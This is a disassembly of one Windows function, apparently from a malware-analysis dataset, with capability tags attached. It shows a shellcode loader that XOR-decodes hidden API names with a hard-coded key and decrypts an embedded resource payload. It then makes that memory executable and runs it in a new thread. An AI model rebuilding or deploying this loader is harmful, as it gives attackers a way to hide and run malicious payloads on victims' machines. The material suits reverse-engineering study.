Function at 0x140001190
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push rbp
push rbx
push rsi
push r13
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xe8
movups xmm0, xmmword [str.3b1001111613093507090a06]
movzx eax, byte [0x140028050]
lea r15, str.mysecretkeee
movsd xmm1, qword [0x140028048]
mov rbx, 0xffffffffffffffff
mov byte [rbp - 0x51], al
mov r14, rbx
mov eax, dword [0x140028070]
movups xmmword [rbp - 0x69], xmm0
mov dword [rbp - 0x71], eax
movups xmm0, xmmword [str.3b10011116130924190a11000e0d]
movzx eax, byte [0x140028074]
movsd qword [rbp - 0x59], xmm1
movsd xmm1, qword [0x140028068]
movups xmmword [rsp + 0x30], xmm0
mov byte [rbp - 0x6d], al
movups xmm0, xmmword [str.2e0b16041717311c19000401]
movzx eax, byte [0x140028090]
movsd qword [rbp - 0x79], xmm1
movsd xmm1, qword [0x140028088]
movups xmmword [rbp - 0x49], xmm0
mov dword [rbp + 0x67], 0
movsd qword [rbp - 0x39], xmm1
mov byte [rbp - 0x31], al
nop
inc r14
cmp byte [r15 + r14], 0
jne 0x140001230
lea rax, [rbp - 0x69]
mov rsi, rbx
inc rsi
cmp byte [rax + rsi], 0
jne 0x140001241
shr rsi, 1
lea rcx, [rsi + 1]
call fcn.1400053dc
mov r13, rax
test rax, rax
je 0x14000161e
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0xe0], r12
test rsi, rsi
je 0x1400012cf
mov r12, rax
lea r15, [rbp - 0x69]
neg r12
lea rbx, str.mysecretkeee
mov rdi, rax
nop dword [rax + rax]
mov r8, rdi
lea rdx, str._02x
mov rcx, r15
call fcn.140001760
lea rax, [r12 + rdi]
xor edx, edx
div r14
add r15, 2
movzx eax, byte [rdx + rbx]
xor byte [rdi], al
inc rdi
lea rax, [r12 + rdi]
cmp rax, rsi
jb 0x140001290
mov rbx, 0xffffffffffffffff
lea r15, str.mysecretkeee
lea rdx, [rbp - 0x29]
mov byte [rsi + r13], 0
sub rdx, r13
mov rcx, r13
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400012e0
mov rcx, r13
call fcn.1400053c8
mov r14, rbx
nop dword [rax]
inc r14
cmp byte [r15 + r14], 0
jne 0x140001300
lea rax, [rsp + 0x30]
mov rsi, rbx
inc rsi
cmp byte [rax + rsi], 0
jne 0x140001312
shr rsi, 1
lea rcx, [rsi + 1]
call fcn.1400053dc
mov r13, rax
test rax, rax
je 0x140001642
test rsi, rsi
je 0x14000138f
mov r12, rax
lea r15, [rsp + 0x30]
neg r12
lea rbx, str.mysecretkeee
mov rdi, rax
nop dword [rax]
mov r8, rdi
lea rdx, str._02x
mov rcx, r15
call fcn.140001760
lea rax, [r12 + rdi]
xor edx, edx
div r14
add r15, 2
movzx eax, byte [rdx + rbx]
xor byte [rdi], al
inc rdi
lea rax, [r12 + rdi]
cmp rax, rsi
jb 0x140001350
mov rbx, 0xffffffffffffffff
lea r15, str.mysecretkeee
lea rdx, [rbp - 0x11]
mov byte [rsi + r13], 0
sub rdx, r13
mov rcx, r13
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400013a0
mov rcx, r13
call fcn.1400053c8
mov rsi, rbx
nop dword [rax]
inc rsi
cmp byte [r15 + rsi], 0
jne 0x1400013c0
lea rax, [rbp - 0x49]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400013d0
shr rbx, 1
lea rcx, [rbx + 1]
call fcn.1400053dc
mov qword [rbp + 0x6f], rax
mov r12, rax
test rax, rax
je 0x140001666
test rbx, rbx
je 0x14000144d
mov r15, rax
lea r14, [rbp - 0x49]
neg r15
lea r12, str.mysecretkeee
mov rdi, rax
nop
mov r8, rdi
lea rdx, str._02x
mov rcx, r14
call fcn.140001760
lea rax, [r15 + rdi]
xor edx, edx
div rsi
add r14, 2
movzx eax, byte [rdx + r12]
xor byte [rdi], al
inc rdi
lea rax, [r15 + rdi]
cmp rax, rbx
jb 0x140001410
mov r12, qword [rbp + 0x6f]
lea r15, str.mysecretkeee
lea rdx, [rbp + 7]
mov byte [r12 + rbx], 0
sub rdx, r12
mov rcx, r12
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001460
mov rcx, r12
call fcn.1400053c8
lea rcx, [0x140028098]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1400280a8]
mov qword [0x140029db0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov qword [0x140029da8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x64
xor ecx, ecx
mov qword [0x140029da0], rax
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov ebx, eax
xor ecx, ecx
call qword [0x140029db0]
mov r8, rdi
lea rdx, str.payload_addr
lea rcx, [0x1400280d8]
mov rsi, rax
call fcn.140001700
mov r8, rsi
lea rdx, str.exec_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001700
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call fcn.140002210
xor edi, edi
mov r9d, edi
test rbx, rbx
je 0x1400015a7
mov edx, edi
mov r8, rsi
nop dword [rax]
nop word [rax + rax]
cmp rdx, 0xc
lea r8, [r8 + 1]
mov rcx, rdi
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r15]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
movsxd rax, r9d
cmp rax, rbx
jb 0x140001580
lea r9, [rbp + 0x67]
mov r8d, 0x20
mov rdx, rbx
mov rcx, rsi
call qword [0x140029da8]
lea rcx, str._nHit_me__n
mov ebx, eax
call fcn.140001700
call fcn.1400059f8
test ebx, ebx
je 0x1400015fb
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov r8, rsi
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [0x140029da0]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x130]
xor eax, eax
mov r12, qword [rsp + 0xe0]
add rsp, 0xe8
pop r15
pop r14
pop r13
pop rsi
pop rbx
pop rbp
ret
mov ecx, 2
call fcn.140005818
mov rcx, rax
lea rdx, str.Memory_allocation_error_n
call fcn.1400016b0
mov ecx, 1
call fcn.1400056ec
int3
mov ecx, 2
call fcn.140005818
mov rcx, rax
lea rdx, str.Memory_allocation_error_n
call fcn.1400016b0
mov ecx, 1
call fcn.1400056ec
int3
mov ecx, 2
call fcn.140005818
mov rcx, rax
lea rdx, str.Memory_allocation_error_n
call fcn.1400016b0
mov ecx, 1
call fcn.1400056ec
int3